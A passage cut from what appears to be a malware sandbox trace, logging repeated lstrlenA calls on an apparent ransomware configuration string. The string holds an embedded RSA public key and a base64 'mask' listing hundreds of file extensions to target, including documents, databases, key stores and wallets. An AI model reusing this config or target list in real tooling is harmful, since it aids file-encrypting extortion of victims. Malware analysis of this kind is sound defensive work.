ZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.406] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.406] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.406] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.406] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsI